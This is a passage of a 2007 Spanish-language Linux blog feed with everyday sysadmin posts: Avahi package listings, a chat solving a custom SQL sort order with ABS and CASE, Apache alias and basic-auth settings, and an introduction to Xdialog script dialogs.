/&gt;example you can plug into a network and instantly find printers to&lt;br /&gt;print to, files to look at and people to talk to.&lt;br /&gt;.&lt;br /&gt;This tool implements IPv4LL, "Dynamic Configuration of IPv4 Link-Local&lt;br /&gt;Addresses" (IETF RFC3927), a protocol for automatic IP address&lt;br /&gt;configuration from the link-local 169.254.0.0/16 range without the&lt;br /&gt;need for a central server. It is primarily intended to be used in&lt;br /&gt;ad-hoc networks which lack a DHCP server.&lt;br /&gt;Bugs: mailto:ubuntu-users@lists.ubuntu.com&lt;br /&gt;Origin: Ubuntu&lt;br /&gt;Task: ubuntu-desktop, kubuntu-desktop, xubuntu-desktop&lt;br /&gt;&lt;/pkg-utopia-maintainers@lists.alioth.debian.org&gt;&lt;/ubuntu-devel-discuss@lists.ubuntu.com&gt;&lt;/code&gt;&lt;br /&gt;&lt;br /&gt;y&lt;br /&gt;&lt;br /&gt;&lt;code&gt;&lt;br /&gt;root@acer-laptop:/home/bpk# apt-cache show avahi-daemon&lt;br /&gt;Package: avahi-daemon&lt;br /&gt;Priority: optional&lt;br /&gt;Section: net&lt;br /&gt;Installed-Size: 364&lt;br /&gt;Maintainer: Ubuntu Core Developers &lt;ubuntu-devel-discuss@lists.ubuntu.com&gt;&lt;br /&gt;Original-Maintainer: Utopia Maintenance Team &lt;pkg-utopia-maintainers@lists.alioth.debian.org&gt;&lt;br /&gt;Architecture: i386&lt;br /&gt;Source: avahi&lt;br /&gt;Version: 0.6.17-0ubuntu3&lt;br /&gt;Depends: libavahi-common3, libavahi-core5, libc6 (&gt;= 2.5-0ubuntu1), libcap1, libdaemon0, libdbus-1-3 (&gt;= 0.94), libexpat1 (&gt;= 1.95.8), adduser, dbus&lt;br /&gt;(&gt;= 0.60)&lt;br /&gt;Recommends: libnss-mdns&lt;br /&gt;Suggests: avahi-autoipd&lt;br /&gt;Conflicts: mdnsresponder&lt;br /&gt;Filename: pool/main/a/avahi/avahi-daemon_0.6.17-0ubuntu3_i386.deb&lt;br /&gt;Size: 78398&lt;br /&gt;MD5sum: 09ad1ba9c1979c05dc03e1c83935a3c7&lt;br /&gt;SHA1: 42e8310fc438fd67ce39274031d2d72f0748ed8c&lt;br /&gt;SHA256: 9d96182dc6c3e02f29593be65d8b0fc4b099ddf19e2244d7b0c927ff21b7853a&lt;br /&gt;Description: Avahi mDNS/DNS-SD daemon&lt;br /&gt;Avahi is a fully LGPL framework for Multicast DNS Service Discovery.&lt;br /&gt;It allows programs to publish and discover services and hosts&lt;br /&gt;running on a local network with no specific configuration.  For&lt;br /&gt;example you can plug into a network and instantly find printers to&lt;br /&gt;print to, files to look at and people to talk to.&lt;br /&gt;.&lt;br /&gt;This package contains the Avahi Daemon which represents your machine&lt;br /&gt;on the network and allows other applications to publish and resolve&lt;br /&gt;mDNS/DNS-SD records.&lt;br /&gt;Bugs: mailto:ubuntu-users@lists.ubuntu.com&lt;br /&gt;Origin: Ubuntu&lt;br /&gt;Task: ubuntu-desktop, kubuntu-desktop, edubuntu-desktop, xubuntu-desktop&lt;br /&gt;&lt;/pkg-utopia-maintainers@lists.alioth.debian.org&gt;&lt;/ubuntu-devel-discuss@lists.ubuntu.com&gt;&lt;/code&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Y por último, echando una visual en el predecible directorio /etc/avihi/ se ve claramente como funciona el programa de marras y qué cositas hace.&lt;br /&gt;&lt;br /&gt;Los links de rigor, por si alguien quiere ver lo que se puede hacer con el programa de marras:&lt;br /&gt;&lt;br /&gt;&lt;a href="http://en.wikipedia.org/wiki/Avahi_%28software%29"&gt;La peich de la wikipedia&lt;/a&gt;&lt;br /&gt;&lt;a href="http://avahi.org/"&gt;La página oficial&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Especialmente interesante el &lt;a href="http://avahi.org/download/avahi-daemon.conf.5.xml"&gt;man del archivo de configuración&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;That´s all folks!&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/34978680-5024482131162695802?l=finkalinux.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://finkalinux.blogspot.com/feeds/5024482131162695802/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=34978680&amp;postID=5024482131162695802' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/34978680/posts/default/5024482131162695802'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/34978680/posts/default/5024482131162695802'/><link rel='alternate' type='text/html' href='http://finkalinux.blogspot.com/2007/07/un-misterio-menos.html' title=''/><author><name>bpk</name><uri>http://www.blogger.com/profile/02129895914842177431</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-34978680.post-4735777492529003128</id><published>2007-07-05T12:46:00.001+02:00</published><updated>2008-06-16T18:29:47.848+02:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='sql'/><category scheme='http://www.blogger.com/atom/ns#' term='bases de datos'/><category scheme='http://www.blogger.com/atom/ns#' term='ordenacion'/><title type='text'>Un problema de esecueles</title><content type='html'>Un dia en gtalk...&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Jaime:&lt;/span&gt;&lt;br /&gt;cambiando de tema. te propongo un problema de Ordenacion con sql a ver si lo sacas?&lt;br /&gt;yo lo estoy meditando&lt;br /&gt;creo que lo tengo&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Pedro:&lt;/span&gt;&lt;br /&gt;okis&lt;br /&gt;pero yo estoy muy verde&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Jaime:&lt;/span&gt;&lt;br /&gt;SELECT id FROM tabla&lt;br /&gt;1, 2, 3 ,4&lt;br /&gt;SELECT id FROM tabla ORDER By Id&lt;br /&gt;1, 2, 3, 4&lt;br /&gt;Hadme una SQL para que de&lt;br /&gt;2, 1, 3, 4&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Pedro:&lt;/span&gt;&lt;br /&gt;y supongo que no hay otro campo que nos permita ordenarlo con lógica, ¿no?&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Jaime:&lt;/span&gt;&lt;br /&gt;la logica es que van ordenados pero primero tiene que salir el registro 2&lt;br /&gt;ordenados por id&lt;br /&gt;solo tiene el campo id la tabla&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;&lt;br /&gt;Pedro:&lt;/span&gt;&lt;br /&gt;¿¿??&lt;br /&gt;te interesa el 2 y despues el resto?&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Jaime:&lt;/span&gt;&lt;br /&gt;sip&lt;br /&gt;mis motivos tengo&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Pedro:&lt;/span&gt;&lt;br /&gt;okis, y porqué no sacas el 2 y despues el resto?&lt;br /&gt;en plan subselect y punto?&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Jaime:&lt;/span&gt;&lt;br /&gt;con una select please :D&lt;br /&gt;no&lt;br /&gt;caca&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Pedro:&lt;/span&gt;&lt;br /&gt;lo sé&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Jaime:&lt;/span&gt;&lt;br /&gt;subselect ya sabes que caca&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Pedro:&lt;/span&gt;&lt;br /&gt;sipe&lt;br /&gt;¿union?&lt;br /&gt;lo sé kk&lt;br /&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;Minutos mas tarde...&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Jaime:&lt;/span&gt;&lt;br /&gt;te rindes?&lt;br /&gt;la verda es que no se si sera mas obtimo :P&lt;br /&gt;optimo&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Pedro:&lt;/span&gt;&lt;br /&gt;estoy pensando en group by y having&lt;br /&gt;pero creo que necesitas de todas formas una subselect...&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Jaime:&lt;/span&gt;&lt;br /&gt;abs te suena ?&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Pedro:&lt;/span&gt;&lt;br /&gt;nope&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Jaime:&lt;/span&gt;&lt;br /&gt;valor absoluto de un numero&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Pedro:&lt;/span&gt;&lt;br /&gt;okis&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Jaime:&lt;/span&gt;&lt;br /&gt;SELECT *, ABS((id - 2)) AS CampoOrden FROM tabla ORDER BY CampoOrden&lt;br /&gt;En mi caso ademas tengo que ordenar por id tambien&lt;br /&gt;por motivos que no vienen al caso&lt;br /&gt;como me mola SQL ;D&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Pedro:&lt;/span&gt;&lt;br /&gt;sipe, a mi me mola mucho&lt;br /&gt;pero no termino de ver el ABS&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Jaime:&lt;/span&gt;&lt;br /&gt;id es unico&lt;br /&gt;vale?&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Pedro:&lt;/span&gt;&lt;br /&gt;sipe&lt;br /&gt;por cierto, eso es solo de transact estoy viendo&lt;br /&gt;por eso no me sonaba con lo buueno que soy yo&lt;br /&gt;;;-)&lt;br /&gt;y oracle&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Jaime:&lt;/span&gt;&lt;br /&gt;1 - 2 = -1; Abs(-1) = 1&lt;br /&gt;2 - 2 = 0; Abs(0) = 0&lt;br /&gt;3 - 2 = 1; Abs(1) = 1&lt;br /&gt;&lt;br /&gt;etc&lt;br /&gt;lo ves?&lt;br /&gt;el sql server se lo zampa&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Pedro:&lt;/span&gt;&lt;br /&gt;que guay, si señor&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Jaime:&lt;/span&gt;&lt;br /&gt;y el oracle seguro que tambien&lt;br /&gt;ten en cuenta que las operaciones matematicas son demasiado indispensables para hacerlas solo con transact&lt;br /&gt;sobre todo el abs&lt;br /&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;Minutos despues...&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Pedro:&lt;/span&gt;&lt;br /&gt;falsa alarma, el abs parece sql de pura cepa&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Jaime:&lt;/span&gt;&lt;br /&gt;ya te dije&lt;br /&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;Minutos despues...&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Jaime:&lt;/span&gt;&lt;br /&gt;y complicandolo un poco&lt;br /&gt;si quires que salga primero el 2 luego el 3 y luego el 4 y despues los que quedan?&lt;br /&gt;:D&lt;br /&gt;2, 3, 4, ....&lt;br /&gt;como me gusta bombardearte el cerebro&lt;br /&gt;XD&lt;br /&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;Minutos despues...&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Pedro:&lt;/span&gt;&lt;br /&gt;¿no valdría unos cuantos "FIRST"?&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Jaime:&lt;/span&gt;&lt;br /&gt;?&lt;br /&gt;no se&lt;br /&gt;olvida 2, 3, 4&lt;br /&gt;imagina 4, 2, 5&lt;br /&gt;y despues el resto&lt;br /&gt;tendrias que hacer 3 orders&lt;br /&gt;con abs cada uno...&lt;br /&gt;creo... XD&lt;br /&gt;tampoco lo he pensao mucho&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Pedro:&lt;/span&gt;&lt;br /&gt;yo no creo que interesase ABS para eso&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Jaime:&lt;/span&gt;&lt;br /&gt;no?&lt;br /&gt;como lo harias&lt;br /&gt;lo de los 3 orders olvidalo&lt;br /&gt;que no rularia....&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Pedro:&lt;/span&gt;&lt;br /&gt;SELECT FIRST(id+3), FIRST(id+1),FIRST(id+4) FROM ...&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Jaime:&lt;/span&gt;&lt;br /&gt;y te daria :&lt;br /&gt;Servidor: mensaje 195, nivel 15, estado 10, línea 1&lt;br /&gt;'FIRST' no es un nombre de función reconocido.&lt;br /&gt;XD&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Pedro:&lt;/span&gt;&lt;br /&gt;¿¿??&lt;br /&gt;http://www.w3schools.com/sql/func_first.asp&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Jaime:&lt;/span&gt;&lt;br /&gt;XD&lt;br /&gt;mamon&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Pedro:&lt;/span&gt;&lt;br /&gt;¿por?&lt;br /&gt;a ver si quieres que tenga todas las funciones en la cabeza&lt;br /&gt;xDD&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Jaime:&lt;/span&gt;&lt;br /&gt;no rula en sql server&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Pedro:&lt;/span&gt;&lt;br /&gt;¿y el case?&lt;br /&gt;creo que valdria&lt;br /&gt;http://technet.microsoft.com/es-es/library/ms181765.aspx&lt;br /&gt;de hecho creo que sería la mejor solución&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Jaime:&lt;/span&gt;&lt;br /&gt;?&lt;br /&gt;estas fumao&lt;br /&gt;XD&lt;br /&gt;hadlo con case&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Pedro:&lt;/span&gt;&lt;br /&gt;siempre&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Jaime:&lt;/span&gt;&lt;br /&gt;a ver como lo haces&lt;br /&gt;FIRST = TOP 1&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Pedro:&lt;/span&gt;&lt;br /&gt;sipe&lt;br /&gt;es el mismo principio que con ABS pero no ordena el resto&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Jaime:&lt;/span&gt;&lt;br /&gt;pero tienes que hacer union&lt;br /&gt;ein?&lt;br /&gt;XD&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Pedro:&lt;/span&gt;&lt;br /&gt;no si lo haces con un group by...&lt;br /&gt;... no westoy muuy seguro de eso&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;&lt;br /&gt;Jaime:&lt;/span&gt;&lt;br /&gt;Si haces SELECT TOP 1 id FROM tabla&lt;br /&gt;te da 1&lt;br /&gt;no 2&lt;br /&gt;estas mu oxidao&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Pedro:&lt;/span&gt;&lt;br /&gt;hay que ponerlo en el where&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Jaime:&lt;/span&gt;&lt;br /&gt;que jodio&lt;br /&gt;XD&lt;br /&gt;y union&lt;br /&gt;XD&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Pedro:&lt;/span&gt;&lt;br /&gt;no deberías&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Jaime:&lt;/span&gt;&lt;br /&gt;????&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Pedro:&lt;/span&gt;&lt;br /&gt;por un lado lo del CASE:&lt;br /&gt;en el linkl que te he mandado&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Jaime:&lt;/span&gt;&lt;br /&gt;pedro&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Pedro:&lt;/span&gt;&lt;br /&gt;SELECT ProductNumber, Category =&lt;br /&gt;CASE ProductLine&lt;br /&gt;WHEN 'R' THEN 'Road'&lt;br /&gt;WHEN 'M' THEN 'Mountain'&lt;br /&gt;WHEN 'T' THEN 'Touring'&lt;br /&gt;WHEN 'S' THEN 'Other sale items'&lt;br /&gt;ELSE 'Not for sale'&lt;br /&gt;END,&lt;br /&gt;Name&lt;br /&gt;FROM Production.Product&lt;br /&gt;ORDER BY ProductNumber;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Jaime:&lt;/span&gt;&lt;br /&gt;dices barbaridades&lt;br /&gt;&lt;br /&gt;Pedro:&lt;br /&gt;¿eso no valdría?&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Jaime:&lt;/span&gt;&lt;br /&gt;como?&lt;br /&gt;had la select para el ejemplo que te he puesto&lt;br /&gt;piensalo&lt;br /&gt;por dios&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Pedro:&lt;/span&gt;&lt;br /&gt;utilizas lo de ese ejemplo como alias para luego ordenarlo&lt;br /&gt;si pienso no escribo&lt;br /&gt;xDD&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Jaime:&lt;/span&gt;&lt;br /&gt;se nota&lt;br /&gt;XD&lt;br /&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;Minutos despues...&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Pedro:&lt;/span&gt;&lt;br /&gt;SELECT id, ordenacion =&lt;br /&gt;CASE id&lt;br /&gt;WHEN 4 THEN 1&lt;br /&gt;WHEN 2 THEN 2&lt;br /&gt;WHEN 5 THEN 3&lt;br /&gt;THEN 'Other sale items'&lt;br /&gt;ELSE ABS(id+4)&lt;br /&gt;FROM tabla&lt;br /&gt;ORDER BY ordenacion;&lt;br /&gt;habría que pdrobarlo y pulislo pero cfreo que valdría&lt;br /&gt;de todas formas yo no sé transact&lt;br /&gt;xD&lt;br /&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;Minutos despues...&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Jaime:&lt;/span&gt;&lt;br /&gt;claro&lt;br /&gt;XD&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Pedro:&lt;/span&gt;&lt;br /&gt;no vale lo del case o qué?&lt;br /&gt;mira que yo lo veo viable&lt;br /&gt;xD&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Jaime:&lt;/span&gt;&lt;br /&gt;voy a probar&lt;br /&gt;a ver&lt;br /&gt;que me parece que hasta tienes razon&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Pedro:&lt;/span&gt;&lt;br /&gt;no te veo convencido&lt;br /&gt;xD&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Jaime:&lt;/span&gt;&lt;br /&gt;no puedes hacerlo&lt;br /&gt;o lo he hecho yo mal&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Pedro:&lt;/span&gt;&lt;br /&gt;yo diría que si que tiene que valer auqneu a lo mejor no exáctamente tal como lo he escrito&lt;br /&gt;por cietrto otra forma de acerlo:&lt;br /&gt;¿conoces el WITH de transact&lt;br /&gt;y el ROWLOCK?&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Jaime:&lt;/span&gt;&lt;br /&gt;nop&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Pedro:&lt;/span&gt;&lt;br /&gt;promete, tu mientras ves mirando mi CASE&lt;br /&gt;xD&lt;br /&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;Minutos despues...&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Jaime:&lt;/span&gt;&lt;br /&gt;mu guay el case&lt;br /&gt;rula&lt;br /&gt;te faltaba poner el end&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Pedro:&lt;/span&gt;&lt;br /&gt;soy el puto amo ^_^&lt;br /&gt;xD&lt;br /&gt;eso es porque mis comandos nunca terminan, se van a salvar a gatitos en los arboles cuando ya no se les necesita&lt;br /&gt;xD&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Jaime:&lt;/span&gt;&lt;br /&gt;SELECT id, ordenacion =&lt;br /&gt;CASE id&lt;br /&gt;WHEN 4 THEN 1&lt;br /&gt;WHEN 2 THEN 2&lt;br /&gt;WHEN 5 THEN 3&lt;br /&gt;ELSE ABS(id+4)&lt;br /&gt;END&lt;br /&gt;FROM tabla&lt;br /&gt;ORDER BY ordenacion;&lt;br /&gt;XD&lt;br /&gt;esto es para poner un post :P&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Pedro:&lt;/span&gt;&lt;br /&gt;sipe, haz un copypaste ¿capado? del chat en finkalinux&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Jaime:&lt;/span&gt;&lt;br /&gt;pero creo sera mas rapido el abs para un solo resultado&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Pedro:&lt;/span&gt;&lt;br /&gt;^_^&lt;br /&gt;seguro&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Jaime:&lt;/span&gt;&lt;br /&gt;me refiero para ordenar primero un registro&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Pedro:&lt;/span&gt;&lt;br /&gt;pero tu habías pedi 3 cabrón!!!&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Jaime:&lt;/span&gt;&lt;br /&gt;XD&lt;br /&gt;pa 3 lo solucionaste tu&lt;br /&gt;aunque te falto algo de sintaxis&lt;br /&gt;XD&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Pedro:&lt;/span&gt;&lt;br /&gt;cerda!&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/34978680-4735777492529003128?l=finkalinux.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://finkalinux.blogspot.com/feeds/4735777492529003128/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=34978680&amp;postID=4735777492529003128' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/34978680/posts/default/4735777492529003128'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/34978680/posts/default/4735777492529003128'/><link rel='alternate' type='text/html' href='http://finkalinux.blogspot.com/2007/07/jaime-cambiando-de-tema.html' title='Un problema de esecueles'/><author><name>moz667</name><uri>http://www.blogger.com/profile/16205397846816665132</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://photos1.blogger.com/blogger/7396/558/400/avatar-20060902.0.png'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-34978680.post-117034610348591451</id><published>2007-02-01T16:54:00.001+01:00</published><updated>2008-06-16T18:30:17.076+02:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='configuracion'/><category scheme='http://www.blogger.com/atom/ns#' term='apache'/><title type='text'>Aliases y otras configs utiles en Apache</title><content type='html'>Estos son los alias y caracteristicas que mas utilizo en mi apache, asi que voy a comentarlos aqui por si algun dia necesito recordarlos :&lt;br /&gt;&lt;br /&gt;# Alias normal apuntando a directorio&lt;br /&gt;Alias /nombre-de-alias/              /directorio/&lt;br /&gt;&lt;br /&gt;# Alias con validacion de un usuario especifico&lt;br /&gt;Alias /nombre-de-alias/             /directorio/&lt;br /&gt;&amp;lt;directory&amp;gt;&lt;br /&gt;# Ni idea de pa que vale esto :&lt;br /&gt;AuthType Basic&lt;br /&gt;# Mensaje que te sale cuando te pide el user y pass&lt;br /&gt;AuthName "Dame las password payo!!!"&lt;br /&gt;# Fichero donde se guardan las passwords ver mas alante para generar un fichero&lt;br /&gt;AuthUserFile /etc/apache/password&lt;br /&gt;Require user usuario&lt;br /&gt;&amp;lt;/directory&amp;gt;&lt;br /&gt;&lt;br /&gt;# Para generar un fichero hay que ejecutar lo siguiente :&lt;br /&gt;# htpasswd -bc /etc/apache/passwords usuario password&lt;br /&gt;# Ademas es conveniente dejar acceso solo al usuario que ejecuta el apache&lt;br /&gt;# en el caso de gentoo es apache&lt;br /&gt;# chown apache:apache /etc/apache/passwords&lt;br /&gt;# chmod 500 /etc/apache2/passwords&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;# Directorio para que no diferencie minusculas de mayusculas&lt;br /&gt;&amp;lt;directory&amp;gt;&lt;br /&gt;CheckSpelling on&lt;br /&gt;&amp;lt;/directory&amp;gt;&lt;br /&gt;&lt;br /&gt;# Directorio que solo permite un rango de ips determinado&lt;br /&gt;# y te saca una lista de ficheros y directorios si no tienes&lt;br /&gt;# el documento por defecto en el directorio&lt;br /&gt;&amp;lt;directory&amp;gt;&lt;br /&gt;Order Deny,Allow&lt;br /&gt;Deny from all&lt;br /&gt;# Solo permitimos a 176.168.1.* ó 176.168.2.*&lt;br /&gt;Allow from 176.168.1&lt;br /&gt;Allow from 176.168.2&lt;br /&gt;# Esto es para sacar la lista de archivos y directorios&lt;br /&gt;Options FollowSymLinks +Indexes&lt;br /&gt;&amp;lt;/directory&amp;gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/34978680-117034610348591451?l=finkalinux.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://finkalinux.blogspot.com/feeds/117034610348591451/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=34978680&amp;postID=117034610348591451' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/34978680/posts/default/117034610348591451'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/34978680/posts/default/117034610348591451'/><link rel='alternate' type='text/html' href='http://finkalinux.blogspot.com/2007/02/estos-son-los-alias-y-caracteristicas.html' title='Aliases y otras configs utiles en Apache'/><author><name>moz667</name><uri>http://www.blogger.com/profile/16205397846816665132</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://photos1.blogger.com/blogger/7396/558/400/avatar-20060902.0.png'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-34978680.post-116792910325408302</id><published>2007-01-04T16:58:00.000+01:00</published><updated>2007-03-28T16:08:37.456+02:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='programacion'/><category scheme='http://www.blogger.com/atom/ns#' term='script'/><title type='text'></title><content type='html'>&lt;h2&gt;Interfaces Graficas con scripts&lt;/h2&gt;&lt;br /&gt;&lt;br /&gt;Seguro que muchas veces hemos pensado en crear alguna interfaz para nuestros scripts, puesto que a veces , bien para ripear, para algunos scripts de pasar a mp3 etc, (o para las novias).&lt;br /&gt;&lt;br /&gt;Pues precisamente existe una utilidad basada en gtk llamada &lt;span style="font-style: italic;font-size:100%;" &gt;Xdialog&lt;/span&gt; la cual tiene miles de opciones, pero un simple ejemplo puede ser el siguiente:&lt;br /&gt;&lt;br /&gt;Xdialog --msgbox "mierda" 0 0&lt;br /&gt;&lt;br /&gt;donde los parametros son los siguientes:&lt;br /&gt;&lt;br /&gt;Xdialog --opcion "mensaje" with heigth&lt;br /&gt;&lt;br /&gt;Dependiendo del option, tendras mas opciones despues del with en este caso es la longitud 0 seria la minima.&lt;br /&gt;&lt;br /&gt;si haceis la prueba vereis que sale una caja de texto ajustada al texto.&lt;br /&gt;&lt;br /&gt;tambien se pueden poner cajas de texto, botones, combos y un largo etc, e incluso se pueden poner&lt;br /&gt;cajas de usuario y password:&lt;br /&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;Xdialog --password --2inputsbox  "cuidado"  0 0 "usuario" "" "password"  "&lt;br /&gt;&lt;/span&gt; en este caso, si pulsamos ok, nos devolvera el usuario/password y si pulsamos cancelar, no nos devolvera nada.&lt;br /&gt;&lt;br /&gt;los parametros son:&lt;br /&gt;&lt;br /&gt;Xdialog --subtipo --tipo titulo with height tituloventana1 valorventana1 tituloventana2 valorventana2&lt;br /&gt;&lt;br /&gt;bueno y nos oss imaginais la cantidad de opciones que existen.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Para instalarlo, ya sabeis:&lt;br /&gt;&lt;br /&gt;apt-get install Xdialog. y con un sudo para los ubunteros.&lt;br /&gt;&lt;br /&gt;os dejo el link de la referencia para que os incheis. ala.&lt;br 